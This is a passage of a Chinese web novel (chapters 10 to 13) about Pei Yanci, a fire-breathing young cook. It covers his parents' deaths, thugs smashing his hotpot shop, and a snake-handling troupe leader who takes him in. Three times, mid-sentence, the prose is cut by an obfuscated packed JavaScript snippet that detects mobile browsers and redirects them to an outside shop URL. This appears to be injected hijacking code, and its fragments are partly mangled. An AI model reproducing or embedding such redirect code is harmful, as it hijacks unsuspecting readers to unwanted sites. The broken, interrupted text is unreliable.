“或许罢。”柏泠又吃满满一筷子牛肉，脸颊塞得鼓胀，“我从未心悦过他人，亦没有成亲，推拒了好几门婚事，因此家里人还同我断绝了来往。” 这便是无人为她烧纸的缘故。 柏泠食欲一点不受影响，见众人都放下筷子，她又将锅里的食物尽数捞到自己碗里。 “无情根啊。”踏雪一对猫眼不住地往侧边瞟，“那你岂不是同轻荼那般？” 哐啷一声后，前堂蓦地归于沉寂。 裴宴辞慌慌张张地拾起落到地上的筷子：“对不住，没拿稳。” 他低头捏紧筷子，口中还含着块牛肉，说不上为何，忽觉没了滋味。分明牛肉还是那个牛肉，麻酱还是那个麻酱，却莫名不似先前好吃了。 裴宴辞木然地嚼了许久，嚼出一股隔夜饭菜的馊味。 10. 裴宴辞 “莫要胡说。”谢轻荼敲敲它脑袋。 前堂陷入诡异的氛围。 还是柏泠最先发觉裴宴辞的不对，自然地将话头引向了别处。 后来她们说了什么，裴宴辞已经不记得了。等再回神时，他正卧在榻上辗转反侧，被褥被卷到床尾。墙壁已被杜榆修补好，按道理说风是透不进来的，他却莫名感到一股寒意。 自己这是怎么了？ 若说谢轻荼有无情根，倒也在理，毕竟她活了千年，唯一陪在身边的只有踏雪。他转念一想，又不禁有些庆幸，谢轻荼的寿命是不朽的，倘若爱上凡人，难免会为伴侣的离去伤神。 困倦袭来，他眼皮子发沉，不知不觉间阖上了。 不知过了多久，许是心底藏着事儿，裴宴辞睡得很浅，一阵脚步声将他惊醒了。 响动很轻，像是门外那人正踮着脚走路，唯恐吵醒安睡的亡魂。 客栈的人住在走廊的东头，而客房都在西头，客人是不会走到这边来的。 这个点了，会是谁呢？ 是谢轻荼么？ 披上外衫，裴宴辞趿着靴子踱步至门前，侧耳覆在门板上：“何人？” 那人似是叫他唬了一跳，脚步有些慌乱，他听见门外响起柏泠压低的嗓音：“是，是我。” 裴宴辞松了口气，心头转而又攀上股隐蔽的失落感。柏泠许是起夜了，他不便再多问，低声应了句，转身回到榻上。 裹紧被褥，他强迫自己寻回睡意。屋内未点油灯，墨一般黑，整个人似被虚无包裹。恍惚之间，他只觉自己又回到了戏班子那阴暗逼仄的房间内，周围墙壁缓缓蠕动，转而铺天盖地地逼近，就要将他吞噬于黑暗中。 裴宴辞猛地坐起身，深吸口气，睡意全无。他燃起油灯，房间依旧是那个房间，那些只不过是幻象罢了，可压抑感却始终挥之不去。 他离开房间，想去外头走走。 今夜的河岸与往日不同，瓷白光晕映照卷起的浪潮，昏霭之中，隐约可见一道形单影只的身影。白衫女子手提灯笼，面朝河水，晚风扬起额前的发丝。 白灯笼本是不祥之物，在她手上，却好似泛着仙气。裴宴辞止住脚步，愣怔地望着她，不自觉地压低气息。 他想起了月轮。 没有悬挂天边，没有倒映河面，只是在百年如一日的晚间，就这般，近在他眼前。 谢轻荼回头：“睡不着？” 睫毛铺下扇形的浓重阴影，叫人难以一眼望尽她的眼底。本该映在那眸中的，裴宴辞的倒影，也被疏离地挡在外头。 月轮只可远观，裴宴辞却荒唐地想，想让自己的身影落进那对眼眸。他抬脚，走入月光中。 “无事。”他垂下目光，盯着浪潮打上靴尖，好不容易涌起的胆气，在嗅到那冷香时便烟消云散了。他不愿让谢轻荼知道自己的心思，可偏偏对方生了双似能洞穿人心的双眸，于是他低头，将满含心事的眼睛掩在发丝里。 “许是晚上吃撑了，积食。”裴宴辞同她一道望着河面，“谢掌柜怎的还不睡？” “同你一样。” 骗人。 裴宴辞暗地里想到，她压根没怎么动过筷子，连为她下的豌豆苗都没吃完。 他晓得，谢轻荼也有心事。 和晚饭时有关么？ 自懂事起，裴宴辞便隐隐有所预感，这与常人不同之处终将会为他遭致灾祸。后来预感应验，他下至狭间，发誓不再在人前使用，也瞒了谢轻荼和踏雪。 许是日子过得舒坦了，再者此地的人们都各有各的可怜之处，他想着应该没事罢，便在人前露了一手，也有想瞧瞧谢轻荼反应的私心。 他又做错了么？ “谢掌柜，晚饭那时，可是吓着你了？” 话一出口，他便后悔了。谢轻荼是何许人也，什么没见过，自己这点小伎俩又算得上什么。 谢轻荼终于转头了。 裴宴辞比她高上四寸有余，习惯使然，她鲜少抬头望人，只盯着对方轮廓分明的下颌：“只是有些惊讶。” 其实没有。 此人前世今生都记在名簿上，她早就翻读了数遍。除了开锅子店这种不太能左右生死的琐事，他的命格，人生的重要节点，都白纸黑字明明白白地写着。 见裴宴辞抓耳挠腮，半天都没吐出一个字，她放轻声音：“怎么了？” “谢掌柜，你是不是认得我？” 裴宴辞想起谢轻荼收留他的那晚，还有对方因自己而挨的那掌，斟酌着问道。 “自然认得。”谢轻荼好似莫名其妙地望着他，“你是裴宴辞。” “不，我不是指这个。”他想问的不是这个，裴宴辞有些着急，“我是说，你认得以前的我么？” 他并非迟钝之人，轻易地便发觉谢轻荼对他似乎是不同的。至于缘由，他说不上来，只好将其归结于他们认识。 这么一问，裴宴辞意识到自己又犯傻了，且不论对方会不会记得他。谢轻荼这般气质的人，若是在人生中出现过，他怕是一辈子都忘不掉。 既然他没印象，便意味着二人没见过，谢轻荼也不认得他。 是这样么？ 以前是个很宽泛的概念，一年前，十年前算以前，百年前，千年前，也算以前。裴宴辞口中的以前大抵指的是他人生过去的几十年，而谢轻荼的记忆却飘向了很远的地方。 只是朝菌不知晦朔，蟪蛄不知春秋[1]，裴宴辞此生不过活了二十余载，他目光所及之处，又岂是同谢轻荼一般的天地。 良久，谢轻荼淡然道：“不认得。” 裴宴辞说不上现下是什么心情，闻言，他仍有疑心，便细细地回忆起自己跌宕的一生。 - 裴宴辞出生于缙绅之家。 爹爹在朝廷做官，娘亲是大户人家的小姐，精于厨艺，婚后在闹市街头经营一家酒楼，生意红火。 他出生那日，口中头次吐出的不是啼哭，而是火星子，将接生婆的衣襟都烫出个大洞。爹娘大惊，给了接生婆一大笔钱让她别往外说，又暗中寻几位高人至府上，那些人瞧了半天，最终也没能说出个所以然。 到底是自家的孩儿，就算古怪，也得好生养着。爹娘干脆作罢，等裴宴辞再大点，那时城中降妖师盛行，娘亲嘱咐他，万万不可在人前显露。 得娘亲耳濡目染，裴宴辞自小便对烹饪有兴致，抓周时瞧都不瞧笔墨纸砚一类的物什，抱着娘亲用旧的锅铲不撒手。裴父也没有男子不可下厨的迂腐思想，笑得合不拢嘴。 三岁时，他便能踩着矮凳，扒在灶台上，烧一些不那么复杂的菜品。五岁，便学会娘亲酒楼的招牌菜，鸳鸯锅。 裴宴辞幼时是幸福的，至少六岁以前是。 六岁生辰那日，裴府上下张灯结彩，喜气洋洋。一盲眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165387|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乞丐路过，见院门大开，便想讨些吃食。裴家人心善，也不嫌他身上脏兮兮的晦气，当即盛出一碗长寿面。 老乞丐自称是位云游道人，吃饱喝足后，为感谢裴家救济，他提出免费为裴宴辞算一卦。爹娘一听，想来这老道得了吃食，也会说些好听的，就当图个吉利。 这么想着，便随他去了。 手心被粗糙的指腹描摹着，裴宴辞皮肤娇嫩，瞧那老道眼珠青白，有些怕，本想缩回手，却听对方道：“小公子有凤凰命格，乃是祥瑞之兆。” 裴宴辞不明白凤凰命格是何物，但见爹娘喜笑颜开，他也跟着笑了。 片刻后，那老道却陡然变了脸色，指尖细细勾勒着他掌纹的脉络，旋即摇摇头，叹一口气：“此子世世凄苦，英年早逝，怕是连身边之人都会叫他克死。虽有凤凰命格，却无吉人之相，奇也怪哉。” 他实诚得过分，连什么该说，什么不该说都不顾忌。闻言爹娘大惊，娘亲甚至当场掉了眼泪，爹爹发了怒，劈头盖脸一番怒骂，之后命下人将老道撵了出去。 裴父安慰妻儿：“那瞎子的话做不得数，等明儿，我去庙里为宴儿求个平安符。” 平安符戴上没几日，裴府上上下下的阴霾还未全然散去，像是印证了那老道的话，裴父出事了。 有大臣觐见皇帝，指证他贪了二十万军饷。近年战火纷飞，克扣军饷可是死罪，裴父当日便被召去了皇宫。 那大臣指出的罪证，不过是些无关痛痒的东西，明眼人都能瞧出不对。裴父问心无愧，他向来节俭，从不奢靡，只在妻子酒楼的装潢上多投入了些银两。除此之外再无其他，哪里像是贪了二十万军饷的人。 可这事总得有人担责。 朝廷暗潮涌动，而裴父恰好是惊雷落下时，被劈中的那只鸟儿。 “即刻问斩。” 裴家知晓这则消息时，已是一日之后。哪还有什么即刻，他早已人头落地。 棺材停在前院，纸钱纷纷扬扬落了满地。娘亲泣不成声地抱着他，这是裴宴辞头一次有了死亡的概念，死亡便是爹爹再也不能尝到他烧的菜肴，笑着叹一声好吃了。 现下是春初，气温回暖，他心里却冷得如同寒冬腊月。 娘亲的泪水落到他手心：“还有娘在呢。” 一夜之间，裴父便在他人口中从贤明的好官，化作千夫所指的罪人。娘亲也被冠上贪官之妻的名头，酒楼生意一落千丈，悲痛之中，一头青丝逐渐染上白发。 裴宴辞下了学堂，便去后厨帮工。之后酒楼开不下去了，娘亲盘了个小铺，开锅子店。他也不再去学堂，坐在店里自学诗文。 因娘俩手艺好，店子的生意倒也凑合。只是娘亲操劳过度，又终日郁郁寡欢，身子骨一日不如一日。到了最后，她只能卧在榻上，嘴里仍是念叨。 “还有娘在呢。” 裴宴辞在十二岁那年彻底成了孤儿。 他披麻戴孝，恍惚之间又想起那云游道人的话。 是自己克死了爹娘么？ 裴家人一生襟怀坦白，心怀善念，为何会落到如此下场。 只是因着命么？ 裴宴辞跪坐双亲坟前，终是经受不住，死死咬住下唇，肩膀一抖一抖。分明是六月天，却下起了鹅毛大雪，雪落在荒草地间，落在碑上，落在他肩头。他抬起通红的双眸，恸哭没入漫天飞雪中。 他不甘心。 11. 五色锅子·上 薛记锅子店。 薛姓是裴宴辞娘亲的姓氏，她走之后，店子也并未更名。如此，就好似娘亲还在店里一般，裴宴辞多少能得到些慰藉。 那个还没有灶台高的孩童如今已是少年郎。 他生了副好皮相，下半张脸像极了裴父，颌线分明，鼻梁高挺。眉眼遗传自娘亲，柔弱中又暗含深邃，瞧一条狗儿都像眉目含情。 嗞啦一声。 牛油下锅，加少许水，翻炒片刻后，裴宴辞将油渣捞出，打算午时混着青辣椒炒，下饭。 灶房满是油脂的香气，他往化开的牛油中放入香料与干辣椒，在灶下添几块木柴，中火熬煮。 脸颊被辣气熏得通红，裴宴辞揩掉脑门上的汗珠。牛油锅底熬制的间隙，他将自家种的番茄切成丁，扔进另口锅中。 现下正是番茄结果的时节，个个浑圆饱满，汁水丰富，用来熬汤再好不过。再点缀些葱段，毫无保留地激发出番茄香气。 宰好的母鸡搁在案板上，肉质鲜嫩，是他赶早去市集上买的，亲眼盯着摊主现宰。 他谨记娘亲教诲，店子里装潢什么的都可以不讲究，但给客人吃的食材定是要用最好的。 母鸡剁块，盐水泡半柱香时间去腥。裴宴辞又揭开另口锅，里头是一早炖好的杂菌汤。他倒出一半至空锅内，随后放入药材。 这条街上住了许多老人，他们吃不了牛油锅底的辛辣，也受不住鸡汤的腻味。于是乎裴宴辞便专门熬制了菌菇药膳汤，很是受他们喜爱。 火折子吹了半天都不见火星，许是受潮了。反正现下灶房里只他一人，裴宴辞心底起了侥幸，俯身对着炉灶吐出一簇火焰。 他年岁渐长，也逐渐捋清了此事的因果关系。自己能吐火，想来是有凤凰命格的缘由。 不过古往今来，拥有这种命格的人都非富即贵，落魄到缩在街角开锅子店的，大概也只有他了。 笃，笃。 裴宴辞一惊，咽回去的火星子险些将自己呛住。他咳嗽几声，听敲门那人喊道：“裴小哥儿，在么？” 他抚着心口顺气，边回应道：“在，在的。” 张伯捧着比脑袋还大的碗，嗅到药膳锅底的香气，笑了：“药膳汤可熬好了？” 自家老婆子最是中意裴小哥儿店里的锅子，妻子腿脚不便，他便月月都来几回，用碗打回去，煮上自己种的蔬菜吃。 “快了。”裴宴辞捞出汤面上的浮沫，“张伯，婶子近日可好？” “挺好，精气神恢复了些。”张伯乐呵呵的，“就惦记你这口呢，上回你染了风寒，我去崔二的锅子店打了一份汤，她只吃几口便搁下筷子，连连摇头。” 崔二的店子开在巷子东头，汤底都是隔夜汤，食材也惯常缺斤少两。他和薛记锅子店算是对家，瞧裴宴辞不顺眼极了，总是明里暗里讥讽其小白脸。 崔二在食客面前说了不少坏话，但薛记的汤底都是当天现熬的，食材也是上好的，客人反而愈来愈多。既然对方未对自己造成不良影响，裴宴辞便懒得同他计较。 二人又唠了几句家常，此时汤也煮沸了。张伯搁下几枚铜板，小心地捧着大碗出了锅子店，腰间还挂着裴宴辞送的一小兜油渣。 鸡肉未去皮，汤面浮一层金黄油脂，色泽诱人。裴宴辞撒一把枸杞，舀一小碟尝味，咸味也正合适。他又逐一揭开锅盖，捞出煮碎的香料。 牛油，番茄，鸡汤，杂菌，药膳，今日的五种汤底都妥了，他双手叉腰，满意地点点头。客人陆续落座，他一一送上解腻的酸梅汁，又忙着替客人给食材下锅。 正午时分，薛记锅子店又迎来一拨客人，贼眉鼠眼地打量着店内。 他们都是游手好闲之辈，其中甚至有几人前阵子方从号子里出来。店里客人见了，匆忙扒拉几口便搁下碗离开，唯恐惹祸上身。 那伙人簇拥着一五大三粗的汉子，他瞥了裴宴辞一眼，大声吆喝：“一份牛油锅。” 牛油锅很是受客人青睐，裴宴辞特地熬了一大锅，此刻还余下很多。他端上锅子，忽觉那汉子有些面熟，转念回想，此人不正是崔二的堂兄崔老七么。 要说崔老七这人，没人会比崔二更头疼。他早年在崔二店里帮工，因性子火爆，吓走不少客人。崔二一瞧这可不得了，便委婉地让他别来了，但工钱照发。 这下正如了崔老七的意，他闲来无事，日日在街巷间晃荡，偷鸡摸狗之类的脏活什么都干。 前些时日偷了典当铺的银子，被抓了现行，气急败坏之下将那掌柜的打个半残，之后便被逮进号子。崔二迫于家族压力，打点了不少银子将其捞出。 裴宴辞心往下沉，崔老七放着自家锅子店不去，领狐朋狗友来他店里，许是没好事，搞不好是崔二指使的。 可他作为店家，又不好当场逐客，只得坐在柜台后，捧一话本装样子，眼睛不时往那边瞟，盯住几人动作，谨防他们使坏。 几人扯着嗓子说话，唾沫横飞。崔老七沾染污泥的鞋子架在长凳上，裴宴辞瞧得一阵反胃，等他们走了，定要好好擦拭，若是让下位客人坐到就不好了。 期间又来一位客人，寻角落的位子坐下，要了份鸡汤锅底。她的衣裳好生古怪，身上挂满彩帛，像跳大神的，又没有那股神神叨叨的气息。 听闻崔老七满口污言秽语，那人没什么反应，只安静地抿着酸梅汁。裴宴辞见她面生，猜想她不是本地人，只是途径此地，找了家店歇脚。 “这店子就你一人？” 裴宴辞正替她下菜，闻言颇有些惴惴不安：“是，汤底都是我一人熬的，味道可还好？” “好，好。”那人舀一勺鸡汤喝，“母鸡肉质鲜嫩，不柴，枸杞的甜味也并未盖过鸡汤的鲜香，你的手艺好极了。” 裴宴辞笑：“好吃便好。” “小哥儿今年多大了？” 裴宴辞打量她一眼，有些拿不准对方为何这么问。若是娘亲现下还在世，大抵和这人差不多年纪，许是对方也有个同自己一般大的孩儿，见了他，不免亲昵地多问了一嘴。 “十五。” 就这么几句话的功夫，裴宴辞一时没盯住裴老七，只听那桌响起阵阵骚动，其中一人大喝道：“掌柜的，你这锅里怎么有虫子啊，该不会给哥几个吃的是隔夜汤罢？” 怎么会？ 裴宴辞大惊回头，见崔老七筷子上夹着一只沾满红油的蜚蠊，挑衅似地望着他。 按理说他们吃了这么久，汤都滚了几回，若蜚蠊是端上桌前就在锅里的，怕是早就煮碎了，哪里会这般完整，明眼人都能瞧出是吃完后扔进去的。 崔老七见他傻眼，得意极了，打定主意今日要替崔二出口恶气。 遇见这种客人，圆滑点的店家，许是会咽下这口气，赔两句不是，免了饭钱，事情也就终了。可裴宴辞哪里应付过这种无赖，火气也上来了。 “分明是你自己扔进去的，想吃白食直说便好，犯不着用这般下作手段。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165388|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你说什么？”崔老七没料到他还敢回嘴，涨红了脸，一掀汤锅，滚烫的红油迎面泼来。 要是泼中了，少说也得烫破层皮。但怕伤及身后的客人，裴宴辞愣是没避，汤汁溅到裤腿上，疼得他差点滚落泪珠子。 憋了半天，他才将痛呼咽回嗓子眼。 “和你那贪官爹一副屌样，一个模子刻的，光知道欺负咱们老百姓。”崔老七啐了一口，一脚踹翻长凳。他起了势，好似人群中砸下炸药，那伙弟兄们连声吆喝。 “七哥说的对。” “流着罪人血脉，能是什么好货色。” 裴宴辞僵在原地，腿上刺痛也浑然不觉。 含冤而死的裴父始终是他心底的一根刺，崔老七的话正好踩在软肋上，生生压弯了他的脊梁骨。对方不但侮辱了爹爹，还侮辱了娘亲生前苦心经营的锅子店。 胸口像是塌陷出一个窟窿，滚水灌入，烫得他四肢百骸滋滋作响。 裴宴辞抬头，恨恨地盯着崔老七。 他不过十五，棱角尚未磨平，尽管再老成，不免还是有些少年心性的。崔老七在崔二店里吃得膀大腰圆，足有裴宴辞两个壮，后者想也不想，铆足劲搡了他一把。 “你给我住嘴！” 崔老七趔趄一下，心头大怒，怒意中又泛起一丝暗喜。崔二叮嘱过，不可再与他人动手，若再进号子，天王老子来了都捞不着。 既然现下对方先起了头，他再还手，也算是正当防卫。 “你个小兔崽子。”他箍住裴宴辞胳膊，拎只鸡崽似的，瞬间让对方双脚离地，他转头呼喝道，“弟兄们，给我砸烂这破店！” 那伙人得令，一通打砸。 未来得及收拾的汤锅被掀翻，汤水同食物残渣淌了一地，墙壁也被掷出的长凳砸出好几个窟窿。甚至有人浑水摸鱼摸到柜台边，将裴宴辞忙活数日挣得的银两塞到自己荷包里。 裴宴辞被崔老七摁在地上，胳膊生疼，绕是如何挣扎都起不了身，腰腹连着挨了好几下，险些吐出早饭。 他蓦地发了狠，一口咬住对方虎口，恨不得撕下块肉来。 崔老七惨叫松手，捂住虎口泛着血丝的齿痕。他双目血红，自后腰掏出匕首，又欺身压下，膝盖死死抵住裴宴辞心窝，匕首在那张秀气的脸上比划：“我要叫你这小白脸破相，以后谁还会来你的店。” 肺部受压，裴宴辞喘不上气，牙关底下控制不住地泛起火星子，娘亲的告诫早被扔至脑后。他喉咙包着团火，心底冒出疯狂的念头。 他想起肉铺的屠户，想起他们在杀猪后，会用火燎去猪毛。若是崔老七遭火焰灼烧，他的满头毛发也会尽数脱落么？ 他会像公猪那般，发出临死前的哀嚎么？ 那道寒光离他愈发靠近，恍惚之间，裴宴辞竟生出了幻觉。他隐约见一只凤凰自周身盘旋，火光险些刺瞎双眼，自己的身体也烫得不像话。 若他是凤凰就好了，这样便没人再敢欺辱他。 若他是凤凰，爹爹娘亲或许也不会死。 去他的凤凰命格。 裴宴辞瘫在地上，眼泪终是滚了下来。他心如死灰，正欲用烈火燃尽一切。 匕首却忽地停下了。 有只手止住了崔老七的动作，也驱散他的幻象，晃荡彩帛映在眼底，搅乱了他眸中的绝望与仇恨。 那客人挡在二者中间，面色不霁，眉目间满是被打扰用饭的不耐。 “差不多得了罢。” 12. 五色锅子·下 “差不多得了罢。” 她声音不大，差点被打砸声盖过。那伙人慢了一瞬，手上的物什到底还是砸了出去，哐啷一阵响。 回过头，只见她不尴不尬地拦在裴宴辞和崔老七中间，着实碍眼得很。 崔老七不成想这先前始终没动的女子会坏他好事，对方一身花哨的彩帛很是扎眼。他脸黑得像碳，沉声问道：“跳大神的？” 坊间传言这跳大神的能通晓阴阳，只凭诡谲舞步便能请神鬼上身。崔老七生怕她请来哪位孤魂野鬼上自己的身，心下起了戒备，匕首僵在半空，迟迟没有落下。 “也会一点。”那人语气没什么起伏。 崔老七拿不准她的意思：“你要替这小子出头？” “世间万物讲究一个因果相报，他替我受了那热油，我自然也是要替他挡下一劫的。他对你动手，你还他几拳，这亦是因果报应。但你还手后还要砸他的店，划他的脸，这便不合规矩了。” 崔老七一介粗人，没什么文化，哪里听得明白这些道理。他只晓得，若是有人惹得自己不快，他向来是不会见好就收的。 干脆不同她去扯什么因果报应，崔老七粗声粗气道：“好，你既提规矩，我便同你说规矩。” “你可知这小子的爹爹是何人，他贪二十万军饷，害咱们失了一州。他一人人头落地，又岂能抚慰那几十万将士的英魂？” 说得倒义愤填膺，可他哪里是这般侠义之士，只不过借个由头刁难裴宴辞罢了。 闻言裴宴辞也急了：“你莫要胡言，我爹是被冤枉的！” “父债子还么，你说得倒也有几分道理。”那人好似并不在意，仍挡在裴宴辞身前，“如此这般，你的弟兄们砸了这锅子店，你身为大哥，是不是也该替他们偿还？” 我还你二舅老爷。 崔老七嗤笑一声，骂声却忽然卡在喉咙里。 那女子手上凭空多出几枚碎银，上头隐约可见深深浅浅的牙印。 他今日一早领着弟兄，耀武扬威地向街边商贩收了不少贡钱，且习惯性用牙齿咬了几下辨别真伪，打算一会拿着这些银子去酒楼快活。 她什么时候摸走的？ 女子用袖口揩了揩碎银，塞给裴宴辞：“拿好了。” 崔老七下意识去摸荷包，手指却抵上鼓鼓囊囊的一团物什，冰凉滑腻之感在掌心蔓延。他心下骇然，瞬间抽出手。 只见一拇指宽的赤蛇缠绕在指间，皮肤纹路繁复，三角脑袋，显然是有毒的。随他动作，又有几条自荷包内抖落在地上。 杀猪般的惨叫响彻店内，崔老七幼时遭蛇咬过，见着蛇就腿软。他跌坐在地，饶是如何甩手都挣脱不开。 赤蛇张嘴，一对瓷白的尖牙嵌入他皮肉中，不过转瞬，那段指节便黑了。 裴宴辞愣怔地望着这一幕。 “七哥！” 不光裴宴辞，那伙弟兄也惊住了。 他们正欲上前襄助，不料女子口中低声吐出古怪语调，落在地上的赤蛇一同拦在他们身前，支起身子，嘶嘶地吐着信子，骇得众人后退几步。 指间黑色仍在蔓延，崔老七喘息粗粝，肺泡像被扎破了个窟窿。他彻底没了嚣张气焰，瘫软在身下腥臊黄水中。 “赤，过来。” 赤蛇极通人性，叫女子一唤，便攀下崔老七胳膊往她那边去，隐入坠着彩帛的袖口中。 地上赤蛇也如潮水般退去，她一瞥傻眼的众人，轻笑：“我这蛇毒性说大不大，说小也不小，须得一炷香时间内服解毒药。过了时辰，神仙也拉不回来。” 那几个弟兄回神，忙搀着崔老七往外头去。 店里一片狼籍，无处落脚，墙上尽是油渍，倒扣着的铜锅被砸出凹痕。裴宴辞最是爱惜东西，他环顾店内，一阵心疼，手都不知该往哪放。 罢了，人还在便好，这些皆是身外之物。他转向女人，朝对方抬手作揖：“多谢夫人了。” “我名为柳荃，唤柳娘便好。”柳荃的目光停在他小腿上，“腿可还疼？” 不说还好，先前肾上腺素分泌，他一时冷落了伤处。现下柳荃提起，那股刺痛感又卷土重来了。 撩起裤腿，皮肤上绽开小片伤痕，露出下头鲜红的血肉，像是雪地里的落梅。 若拖着不管，怕是会感染的，等送走柳荃，他得去药铺配些外敷的草药。 放下裤腿，裴宴辞颇有些局促。娘亲离开后，他一人操持薛记锅子店，久而久之便养成了不在人前示弱的惯性。 他咬紧牙关，挤出一句：“无事。” 见柳荃用过的铜锅里还有不少食材，他不免有些歉疚。说白了，崔老七是朝他来的，对方什么也没做错，平白无故遇见这破事，饭也没吃上几口。 余下的汤底撒了个七七八八，再者食材都是当天现买的，今日已经用光了，他也无法再上一锅，便想将那些碎银塞回给对方。 柳荃推辞一番，没要，许是并不在意。好似她来这锅子店只是为了尝个味道，尝过味了，即便未能饱腹，也足以令她满意。 蛇群蛰伏于彩帛之下，裴宴辞先前被晃花了眼，都没发现她始终带着一窝赤蛇，也不知对方是如何将蛇与崔老七荷包里的碎银调个的，可谓是瞒天过海。他想起话本子里携灵宠招摇过市的能人，斟酌着开口：“柳娘，方才您使的那招，可是法术？” 他莫名有了归属感，世间之大，多有光怪陆离之事，或许另类的不只自己一人。他见识到柳荃这诡谲的招术，与之相较，吐火又算得上什么呢。 “若我会法术，怕是早就过上好日子了。”柳荃笑了，“只是寻常障眼法罢了，不值一提。” 她没有多说，裴宴辞一想也是，不论是法术还是技艺，个中细枝末节皆是不便对外人道也的。他压下心底的失落感，用墩布拭去满地汤汁，又听对方道。 “我途径此地，并不会久留，崔老七今日吃瘪，定是不会善罢甘休的。”柳荃眼底透出关切，好似瞧着自己的孩儿，“我能护你一时，但护不了一世。你一人操持店子，许是家里人都不在了罢，这该如何是好？” 裴宴辞不可避免地又想起了娘亲，柳荃的话揭开了他埋藏于心底的伤疤，他却并未觉得疼，大概是对方的担忧不似作伪，妥帖地止住了渗出的血珠。 他攥紧墩布，心又沉到谷底，是了，以崔老七的性子，自然是不会放过他的。不光崔老七，崔二也会借此好生为难他。 并非没想过报官，只是因着他的身份，大抵是没人会站在他这头的。 薛记锅子店，怕是开不下去了。 “我手底下有支戏班，原先的厨子离开了，班子里又没个有手艺的。之所以在此处歇脚，也是为了寻个新厨子。” 裴宴辞抬头，猜到了她之后的话。 “你既无牵无挂，不如离开此地，去我那班子做工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165389|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”柳荃温热的手掌搭在他肩上，“挣得钱虽比不得你这锅子店，但有我护着，定不会叫你受人欺负。” 裴宴辞茫然地眨眨眼。 娘亲走后，店子到处都遗留着她生前的痕迹，她裁剪的窗花褪色泛黄了，裴宴辞也舍不得揭下。 而如今，它们已然面目全非，浸在满地污秽里，彻底糊成烂泥。 “好。”他揉揉酸涩的眼眶，攥紧拳头复又松开：“我和你走。” - 柳荃在城郊偏僻处租了一间院落，她领着裴宴辞进门时，院中正有几人坐在马扎上闲侃。见了他，嘴里不停，眼神倒是在他面上粘得紧。 “我们平日都住帐子，不过这家主人前阵子病逝了，家里人急用钱，做过白事的屋子一时不好租给正经人家，索性便宜给班子住几日。” 在与裴宴辞说话的当口，柳荃挥手招呼一男子，“柳子，你来。” 那男子瞧着比裴宴辞年长些许，五官同柳荃有些相像。他搁下手里的活计，一双丹凤眼望向裴宴辞：“娘，这位是？” “裴宴辞，新招的厨子。”柳荃四下张望，“阿燎不在么，你且去他屋里寻些烫伤药来。” “厨子？” 不等柳子回屋，一打着赤膊的汉子大笑道：“柳娘，这小子毛还没长齐罢，颠得动锅么？你是去寻厨子的，还是认了个干儿子回来啊？” 裴宴辞一人操持店子，给客人用的食材都是好的，自己正长个的年纪，却只吃些粗茶淡饭草草了事，因而瞧着比同龄人要年幼些。 柳荃讳莫如深：“你吃过便晓得了。” 汉子膀大腰圆的，他使劲杵了下手边的大锤，盯住裴宴辞的眸光满含戏谑。那眼珠子又贼溜溜地在二人身上转圜一圈，口中滚出一声不怀好意地笑。 “这小子模样倒是嫩生。” 裴宴辞历经崔老七那遭，整个人身心俱疲，一时没听出对方话里有话。此时柳子回过头，沉下脸道：“铁皮，闭嘴。” 铁皮仍龇着大牙乐，却听柳荃一声去罢，转眼间赤蛇便攀上他脚脖子，一对尖牙在日头下泛着光，就要咬上去。 “别，别，我不说了，瞧我这张破嘴。”他骇得一张黝黑的面颊透出白色，晓得被赤蛇缠上就挣脱不开，只好不住地掌着自己的嘴，“姑奶奶，行行好，将这小祖宗请回去罢。” 余下几位伙计隔岸观火，见他窘迫模样，皆是幸灾乐祸地大笑，没有一点要打圆场的意思。 这时裴宴辞也反应过来，脸瞬间白了，气闷地垂下脑袋。 眼前出现一小瓷瓶，柳子取了烫伤药给他，面色仍是不太好，沉声叮嘱：“一日敷三回，伤处莫要沾水。” 铁皮捂着发黑的脚脖子，滚在地上嚎。柳荃唤回赤蛇，扔给他兜着解毒药的纸包，撂下一句：“你若不稀罕，往后也别用宴辞做的饭了，就吃你自己煮的潲水罢。” “得，得，我不吃便是。”铁皮忙拾起纸包，顶着巴掌印，灰溜溜地蹿回屋内。 “挨赤咬几回了，还是不长记性。”柳子对着他离去的方向啐了一口唾沫。 柳荃指尖逗弄赤蛇，语气不咸不淡：“戏台子可搭好了？” “阿燎同隼儿正忙活呢，酉时便能妥了。”柳子回话，“放心吧，娘，出不了岔子。” “行，你盯着点。”柳荃轻拍裴宴辞肩头，“领宴辞去你隔壁那屋住，早些歇息，明日得起早。” 13. 清蒸鳜鱼 戏台搭在城东鹧鸪巷尽头的广场上，班子赶早便去了，连早饭都来不及用。 卯时巷子里支起摊位，路窄，挎着菜篮子的人们只得前胸贴后背地走。许多人见了戏台也乐得驻足，人多了，班子挣得的打赏自然也就多了。 